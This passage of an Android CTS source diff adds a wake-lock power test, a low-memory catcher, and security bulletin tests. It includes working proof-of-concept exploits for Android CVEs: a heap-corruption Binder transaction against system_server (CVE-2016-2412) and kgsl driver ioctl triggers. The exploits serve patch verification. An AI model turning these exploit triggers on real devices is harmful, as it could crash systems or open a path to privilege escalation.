+ installPackage(APK_NAME);
+ }
+
+ /**
+ * Tests that cached process releases wake lock.
+ *
+ * @throws Exception
+ */
+ @Test
+ public void testCachedProcessReleasesWakeLock() throws Exception {
+ makeCachedProcess(PACKAGE_NAME);
+ // Short wait before checking cached process
+ Thread.sleep(1000);
+ String processes = mDevice.executeShellCommand(CHECK_CACHED_CMD);
+ assertTrue(CACHED_PATTERN.matcher(processes).find());
+
+ String wakelocks = mDevice.executeShellCommand(GET_WAKE_LOCKS_CMD);
+ assertTrue("Wake lock not acquired", WAKE_LOCK_ACQUIRED_PATTERN.matcher(wakelocks).find());
+ assertFalse("Wake lock disabled early",
+ WAKE_LOCK_DISABLED_PATTERN.matcher(wakelocks).find());
+
+ // ActivityManager will inform PowerManager of processes with idle uids.
+ // PowerManager will disable wakelocks held by such processes.
+ mDevice.executeShellCommand("am make-uid-idle " + PACKAGE_NAME);
+
+ wakelocks = mDevice.executeShellCommand(GET_WAKE_LOCKS_CMD);
+ assertFalse("Wake lock still acquired",
+ WAKE_LOCK_ACQUIRED_PATTERN.matcher(wakelocks).find());
+ assertTrue("Wake lock not disabled", WAKE_LOCK_DISABLED_PATTERN.matcher(wakelocks).find());
+ }
+
+ private void makeCachedProcess(String packageName) throws Exception {
+ String startAppTemplate = "am start -W -a android.intent.action.MAIN -p %s"
+ + " -c android.intent.category.LAUNCHER";
+ String viewUriTemplate = "am start -W -a android.intent.action.VIEW -d %s";
+ mDevice.executeShellCommand(String.format(startAppTemplate, packageName));
+ // Starting two random apps to make packageName cached
+ mDevice.executeShellCommand(String.format(viewUriTemplate, "mailto:"));
+ mDevice.executeShellCommand(String.format(viewUriTemplate, "tel:"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/Android.mk b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk
old mode 100755
new mode 100644
similarity index 65%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/Android.mk
copy to hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk
index 5e53ee5..3c6371f
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/Android.mk
+++ b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk
@@ -1,3 +1,4 @@
+#
# Copyright (C) 2018 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
@@ -11,23 +12,20 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
+#
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-2062
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := liblog
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsHostPowerManagerTestApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-
-include $(BUILD_CTS_EXECUTABLE)
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/coreapi/AndroidManifest.xml b/hostsidetests/os/test-apps/PowerManagerTestApp/AndroidManifest.xml
old mode 100644
new mode 100755
similarity index 63%
copy from tests/libcore/coreapi/AndroidManifest.xml
copy to hostsidetests/os/test-apps/PowerManagerTestApp/AndroidManifest.xml
index f2f2f7f..4fb0653
--- a/tests/libcore/coreapi/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/PowerManagerTestApp/AndroidManifest.xml
@@ -16,16 +16,17 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.libcore.cts.coreapi"
+ package="android.os.powermanagertests"
android:targetSandboxVersion="2">
-
- <application android:usesCleartextTraffic="true">
- <uses-library android:name="android.test.runner" />
- </application>
-
- <instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
- android:label="CTS Libcore core API test cases"
- android:targetPackage="android.libcore.cts.coreapi">
- </instrumentation>
+ <uses-permission android:name="android.permission.WAKE_LOCK" />
+ <application>
+ <activity android:name=".WakeLockTest">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ </application>
</manifest>
+
diff --git a/hostsidetests/os/test-apps/PowerManagerTestApp/src/android/os/powermanagertests/WakeLockTest.java b/hostsidetests/os/test-apps/PowerManagerTestApp/src/android/os/powermanagertests/WakeLockTest.java
new file mode 100644
index 0000000..b05770c
--- /dev/null
+++ b/hostsidetests/os/test-apps/PowerManagerTestApp/src/android/os/powermanagertests/WakeLockTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.powermanagertests;
+
+import static android.os.PowerManager.PARTIAL_WAKE_LOCK;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.PowerManager.WakeLock;
+import android.os.PowerManager;
+
+public class WakeLockTest extends Activity {
+ private static final String TAG = WakeLockTest.class.getSimpleName();
+
+ @Override
+ public void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ PowerManager pm = (PowerManager) getSystemService(POWER_SERVICE);
+ WakeLock wl = pm.newWakeLock(PARTIAL_WAKE_LOCK, TAG);
+ wl.acquire(300000 /* 5 mins */);
+ }
+}
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 7bc393d..9419a26 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -41,6 +41,7 @@
<!-- Bulletin 2016-04 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-2412->/data/local/tmp/CVE-2016-2412" />
<option name="push" value="CVE-2016-0844->/data/local/tmp/CVE-2016-0844" />
<option name="push" value="CVE-2016-2419->/data/local/tmp/CVE-2016-2419" />
@@ -52,7 +53,6 @@
<!--__________________-->
<!-- Bulletin 2016-06 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2062->/data/local/tmp/CVE-2016-2062" />
<!--__________________-->
<!-- Bulletin 2016-07 -->
@@ -161,6 +161,11 @@
<option name="append-bitness" value="true" />
</target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="OomCatcher.apk" />
+ </target_preparer>
+
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsSecurityBulletinHostTestCases.jar" />
<option name="runtime-hint" value="8m40s" />
diff --git a/hostsidetests/securitybulletin/res/CVE-2017-0647.zip b/hostsidetests/securitybulletin/res/CVE-2017-0647.zip
new file mode 100644
index 0000000..e01eaf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2017-0647.zip
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/poc.c
deleted file mode 100644
index d8bdbdb..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/poc.c
+++ /dev/null
@@ -1,107 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-
-#define LOG_TAG "CVE-2016-2062"
-
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <cutils/log.h>
-
-struct kgsl_perfcounter_query {
- unsigned int groupid;
- /* Array to return the current countable for up to size counters */
- unsigned int *countables;
- unsigned int count;
- unsigned int max_counters;
- /* private: reserved for future use */
- unsigned int __pad[2]; /* For future binary compatibility */
-};
-
-/* ioctls
- * Refer msm_kgsl.h
- */
-#define KGSL_IOC_TYPE 0x09
-#define IOCTL_KGSL_PERFCOUNTER_QUERY \
- _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query)
-
-int main() {
- int fd, ret;
- struct kgsl_perfcounter_query perf_query;
-
- fd = open("/dev/kgsl-3d0", O_RDWR);
- if (fd < 0) {
- ALOGE("Unable to open /dev/kgsl-3d0 - Errno %d (%s)\n", errno,
- strerror(errno));
- exit(EXIT_FAILURE);
- }
-
- memset(&perf_query, 0, sizeof(struct kgsl_perfcounter_query));
-
- /* setup sane params to pass a few checks
- * set count=0 and countables=NULL to get max_counters
- * value to allocate memory for countables
- */
- perf_query.groupid = 1;
- perf_query.count = 0;
- perf_query.countables = NULL;
-
- ret = ioctl(fd, IOCTL_KGSL_PERFCOUNTER_QUERY, &perf_query);
- if (ret < 0) {
- ALOGE("Error ioctl failed %d (%s)\n", errno,
- strerror(errno));
- } else {
- // Make sure the max_counters within the limit [1:1000]
- if(perf_query.max_counters > 0 &&
- perf_query.max_counters < 1000) {
- perf_query.countables = (unsigned int*) malloc(
- perf_query.max_counters * sizeof(unsigned int));
- if(perf_query.countables == NULL) {
- ALOGE("malloc failed\n");
- } else {
- /* bad data creates out of memory issue
- * Errno 12 (out of memory)
- */
- perf_query.count = 0x80000001;
-
- ret = ioctl(fd, IOCTL_KGSL_PERFCOUNTER_QUERY, &perf_query);
- if (ret < 0 && errno == 12) { //ENOMEM(12) error
- ALOGE("CVE-2016-2062 failed\n");
- } else {
- ALOGE("CVE-2016-2062 passed\n");
- }
- }
- }
- }
-
- if(NULL != perf_query.countables) {
- free(perf_query.countables);
- perf_query.countables = NULL;
- }
-
- if (fd > -1)
- close(fd);
-
- return EXIT_SUCCESS;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
old mode 100755
new mode 100644
similarity index 79%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
index 5e53ee5..77de47e
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
@@ -1,33 +1,35 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-2062
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_SHARED_LIBRARIES := liblog
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-
-include $(BUILD_CTS_EXECUTABLE)
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-2412
+LOCAL_SRC_FILES := poc.cpp
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := libbinder \
+ libutils
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp
new file mode 100644
index 0000000..7e3b067
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp
@@ -0,0 +1,99 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+
+using namespace android;
+typedef enum TRANTYPE { HEAPSPRAY, HEAPCORRUPT, HEAPFENGSHUI } TRANTYPE;
+
+static void writeParcelableHead(Parcel *pData, const char *class_name) {
+ // write key
+ static int count = 1;
+ const int VAL_PARCELABLE = 4;
+ char buffer[16] = {0};
+ snprintf(buffer, 16, "%d", count);
+
+ pData->writeString16(String16((const char *)buffer));
+ pData->writeInt32(VAL_PARCELABLE);
+ pData->writeString16(String16(class_name));
+}
+
+void writeRegion(Parcel *pData) {
+ pData->writeInt32(100); // length of region;
+ pData->writeInt32(
+ 0x3fffffff); // runCount, the allocted size will be 0x3fffffff*4+16=0xc
+ pData->writeInt32(0xf); // fBounds
+ pData->writeInt32(0xf); // YSpanCount
+ pData->writeInt32(0xf); // IntervalCount
+
+ char buffer[100];
+ memset(buffer, 0xcc,
+ sizeof(buffer)); // this buffer will be used to corrrupt the heap
+ pData->write(buffer, sizeof(buffer));
+}
+
+static void writeBundle(Parcel *pData, int type) {
+ size_t lengthPos = pData->dataPosition();
+ pData->writeInt32(0xfffff);
+ const int BUNDLE_MAGIC = 0x4C444E42;
+ pData->writeInt32(BUNDLE_MAGIC);
+ size_t startPos = pData->dataPosition();
+
+ if (type == HEAPCORRUPT) {
+ pData->writeInt32(1); // from writeArrayMapInternal,object numbers in bundle
+ writeParcelableHead(pData, "android.graphics.Region");
+ writeRegion(pData);
+ } else { // other than HEAPCORRUPT
+ exit(0);
+ }
+
+ size_t endPos = pData->dataPosition();
+ // Backpatch length
+ pData->setDataPosition(lengthPos);
+ int length = endPos - startPos;
+ pData->writeInt32(length);
+ pData->setDataPosition(endPos);
+}
+
+static void transact(sp<IBinder> &service, TRANTYPE type) {
+ const int CONVERT_TO_TRANSLUCENT_TRANSACTION = 175;
+ Parcel data, reply;
+
+ data.writeInterfaceToken(String16("android.app.IActivityManager"));
+ data.writeStrongBinder(service);
+ data.writeInt32(333);
+ writeBundle(&data, type);
+ service->transact(CONVERT_TO_TRANSLUCENT_TRANSACTION, data, &reply);
+}
+
+int main(__attribute__((unused)) int argc,
+ __attribute__((unused)) char *const argv[]) {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> service = sm->checkService(String16("activity"));
+ if (service != NULL) {
+ printf("heap corruption\n");
+ transact(service, HEAPCORRUPT);
+ } else {
+ printf("get activitymanger failed\n");
+ }
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
index 94202f6..5d4ded3 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
@@ -26,6 +26,7 @@
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
+#include "../includes/common.h"
#define THREAD_NUM 600
#define DEV "/dev/kgsl-3d0"
@@ -124,39 +125,46 @@
void* child_ioctl_0(void* no_use) {
int ret = 1;
+ time_t test_started = start_timer();
struct kgsl_drawctxt_destroy kdd = {0};
kdd.drawctxt_id = kgsl_id;
set_affinity(1);
- while (1) {
+ while (is_timer_expired(test_started)) {
ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
}
+ return NULL;
}
void* child_ioctl_1(void* no_use) {
int ret = 1;
+ time_t test_started = start_timer();
struct kgsl_drawctxt_destroy kdd = {0};
kdd.drawctxt_id = kgsl_id;
set_affinity(2);
- while (1) {
+ while (is_timer_expired(test_started)) {
ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
}
+ return NULL;
}
void* child_ioctl_2(void* no_use) {
int ret = 1;
+ time_t test_started = start_timer();
struct kgsl_drawctxt_create kdc = {0, 0};
kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
set_affinity(3);
- while (1) {
+ while (is_timer_expired(test_started)) {
ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
kgsl_id = kdc.drawctxt_id;
}
+ return NULL;
}
int main() {
int i, ret;
+ time_t test_started = start_timer();
struct kgsl_drawctxt_create kdc = {0, 0};
kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
struct kgsl_drawctxt_destroy kdd = {0};
@@ -179,8 +187,12 @@
pthread_create(thread_id + i + 2, NULL, child_ioctl_2, NULL);
}
- while (1) {
+ while (is_timer_expired(test_started)) {
ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
kgsl_id = kdc.drawctxt_id;
}
+
+ close(fd);
+
+ return 0;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.mk
index 517481a..fc5d5dd 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.mk
@@ -27,7 +27,8 @@
$(TOP)/frameworks/av/services/ \
$(TOP)/system/media/audio_utils/include/ \
$(TOP)/external/sonic/ \
- $(TOP)/external/jsoncpp/include/
+ $(TOP)/external/jsoncpp/include/ \
+ $(TOP)/frameworks/av/media/libnblog/include \
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts sts
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
new file mode 100644
index 0000000..3c77b7a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -0,0 +1,13 @@
+#include <time.h>
+#define MAX_TEST_DURATION 300
+
+time_t start_timer(void);
+int is_timer_expired(time_t timer_started);
+
+time_t start_timer(){
+ return time(NULL);
+}
+
+int is_timer_expired(time_t timer_started){
+ return time(NULL) < (timer_started + MAX_TEST_DURATION);
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java
new file mode 100644
index 0000000..5415aff
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java
@@ -0,0 +1,222 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.device.BackgroundDeviceAction;
+
+import android.platform.test.annotations.RootPermissionTest;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+import java.util.Map;
+import java.util.HashMap;
+import com.android.ddmlib.MultiLineReceiver;
+import com.android.ddmlib.Log;
+import com.android.ddmlib.TimeoutException;
+import java.lang.ref.WeakReference;
+
+/**
+ * A utility to monitor the device lowmemory state and reboot when low. Without this, tests that
+ * cause an OOM can sometimes cause ADB to become unresponsive indefinitely. Usage is to create an
+ * instance per instance of SecurityTestCase and call start() and stop() matching to
+ * SecurityTestCase setup() and teardown().
+ */
+public class HostsideOomCatcher {
+
+ private static final String LOG_TAG = "HostsideOomCatcher";
+
+ private static final long LOW_MEMORY_DEVICE_THRESHOLD_KB = 1024 * 1024; // 1GB
+ private static Map<String, WeakReference<BackgroundDeviceAction>> oomCatchers = new HashMap<>();
+ private static Map<String, Long> totalMemories = new HashMap<>();
+
+ private boolean isLowMemoryDevice = false;
+
+ private SecurityTestCase context;
+
+ /**
+ * test behavior when oom is detected.
+ */
+ public enum OomBehavior {
+ FAIL_AND_LOG, // normal behavior
+ PASS_AND_LOG, // skip tests that oom low memory devices
+ FAIL_NO_LOG, // tests that check for oom
+ }
+ private OomBehavior oomBehavior = OomBehavior.FAIL_AND_LOG; // accessed across threads
+ private boolean oomDetected = false; // accessed across threads
+
+ public HostsideOomCatcher(SecurityTestCase context) {
+ this.context = context;
+ }
+
+ /**
+ * Utility to get the device memory total by reading /proc/meminfo and returning MemTotal
+ */
+ private static long getMemTotal(ITestDevice device) throws Exception {
+ String memInfo = device.executeShellCommand("cat /proc/meminfo");
+ Pattern pattern = Pattern.compile("MemTotal:\\s*(.*?)\\s*[kK][bB]");
+ Matcher matcher = pattern.matcher(memInfo);
+ if (matcher.find()) {
+ return Long.parseLong(matcher.group(1));
+ } else {
+ throw new Exception("Could not get device memory total");
+ }
+ }
+
+ /**
+ * Start the hostside oom catcher thread for the test.
+ * Match this call to SecurityTestCase.setup().
+ */
+ public synchronized void start() throws Exception {
+ // cache device TotalMem to avoid and adb shell for every test.
+ Long totalMemory = totalMemories.get(getDevice().getSerialNumber());
+ if (totalMemory == null) {
+ totalMemory = getMemTotal(getDevice());
+ totalMemories.put(getDevice().getSerialNumber(), totalMemory);
+ }
+ isLowMemoryDevice = totalMemory < LOW_MEMORY_DEVICE_THRESHOLD_KB;
+
+ // reset test oom behavior
+ // Low memory devices should skip (pass) tests when OOMing and log so that the
+ // high-memory-test flag can be added. Normal devices should fail tests that OOM so that
+ // they'll be ran again with --retry. If the test OOMs because previous tests used the
+ // memory, it will likely pass on a second try.
+ if (isLowMemoryDevice) {
+ oomBehavior = OomBehavior.PASS_AND_LOG;
+ } else {
+ oomBehavior = OomBehavior.FAIL_AND_LOG;
+ }
+ oomDetected = false;
+
+ // Cache OOM detection in separate persistent threads for each device.
+ WeakReference<BackgroundDeviceAction> reference = oomCatchers.get(getDevice().getSerialNumber());
+ BackgroundDeviceAction oomCatcher = null;
+ if (reference != null) {
+ oomCatcher = reference.get();
+ }
+ if (oomCatcher == null || !oomCatcher.isAlive()) {
+ AdbUtils.runCommandLine("am start com.android.cts.oomcatcher/.OomCatcher", getDevice());
+
+ oomCatcher = new BackgroundDeviceAction(
+ "logcat -c && logcat OomCatcher:V *:S",
+ "Oom Catcher background thread",
+ getDevice(), new OomReceiver(), 0);
+
+ oomCatchers.put(getDevice().getSerialNumber(), new WeakReference<>(oomCatcher));
+ oomCatcher.start();
+ }
+ }
+
+ /**
+ * Stop the hostside oom catcher thread.
+ * Match this call to SecurityTestCase.setup().
+ */
+ public static void stop(String serial) {
+ WeakReference<BackgroundDeviceAction> reference = oomCatchers.get(serial);
+ if (reference != null) {
+ BackgroundDeviceAction oomCatcher = reference.get();
+ if (oomCatcher != null) {
+ oomCatcher.cancel();
+ }
+ }
+ }
+
+ /**
+ * Check every test teardown to see if the device oomed during the test.
+ */
+ public synchronized boolean isOomDetected() {
+ return oomDetected;
+ }
+
+ /**
+ * Return the current test behavior for when oom is detected.
+ */
+ public synchronized OomBehavior getOomBehavior() {
+ return oomBehavior;
+ }
+
+ /**
+ * Flag meaning the test will likely fail on devices with low memory.
+ */
+ public synchronized void setHighMemoryTest() {
+ if (isLowMemoryDevice) {
+ oomBehavior = OomBehavior.PASS_AND_LOG;
+ } else {
+ oomBehavior = OomBehavior.FAIL_AND_LOG;
+ }
+ }
+
+ /**
+ * Flag meaning the test uses the OOM catcher to fail the test because the test vulnerability
+ * intentionally OOMs the device.
+ */
+ public synchronized void setOomTest() {
+ oomBehavior = OomBehavior.FAIL_NO_LOG;
+ }
+
+ private ITestDevice getDevice() {
+ return context.getDevice();
+ }
+
+ /**
+ * Read through logcat to find when the OomCatcher app reports low memory. Once detected, reboot
+ * the device to prevent a soft reset with the possiblity of ADB becomming unresponsive.
+ */
+ class OomReceiver extends MultiLineReceiver {
+
+ private boolean isCancelled = false;
+
+ public void processNewLines(String[] lines) {
+ for (String line : lines) {
+ if (Pattern.matches(".*Low memory.*", line)) {
+ // low memory detected, reboot device to clear memory and pass test
+ isCancelled = true;
+ Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+ "lowmemorykiller detected; rebooting device.");
+ synchronized (HostsideOomCatcher.this) { // synchronized for oomDetected
+ oomDetected = true;
+ }
+ try {
+
+ getDevice().nonBlockingReboot();
+ getDevice().waitForDeviceOnline(60 * 2 * 1000); // 2 minutes
+ context.updateKernelStartTime();
+ } catch (Exception e) {
+ Log.e(LOG_TAG, e.toString());
+ }
+ return; // we don't need to process remaining lines in the array
+ }
+ }
+ }
+
+ @Override
+ public boolean isCancelled() {
+ return isCancelled;
+ }
+ }
+}
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index d3da935..75b9147 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -38,4 +38,16 @@
public void testPocCVE_2016_0844() throws Exception {
AdbUtils.runPoc("CVE-2016-0844", getDevice(), 60);
}
+
+ /**
+ * b/26593930
+ */
+ @SecurityTest
+ public void testPocCVE_2016_2412() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPoc("CVE-2016-2412", getDevice(), 60);
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> system_server <<<",
+ logcatOut);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
deleted file mode 100644
index 8c22dfb..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_06 extends SecurityTestCase {
-
- /**
- * b/27364029
- */
- @SecurityTest
- public void testPocCVE_2016_2062() throws Exception {
- if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
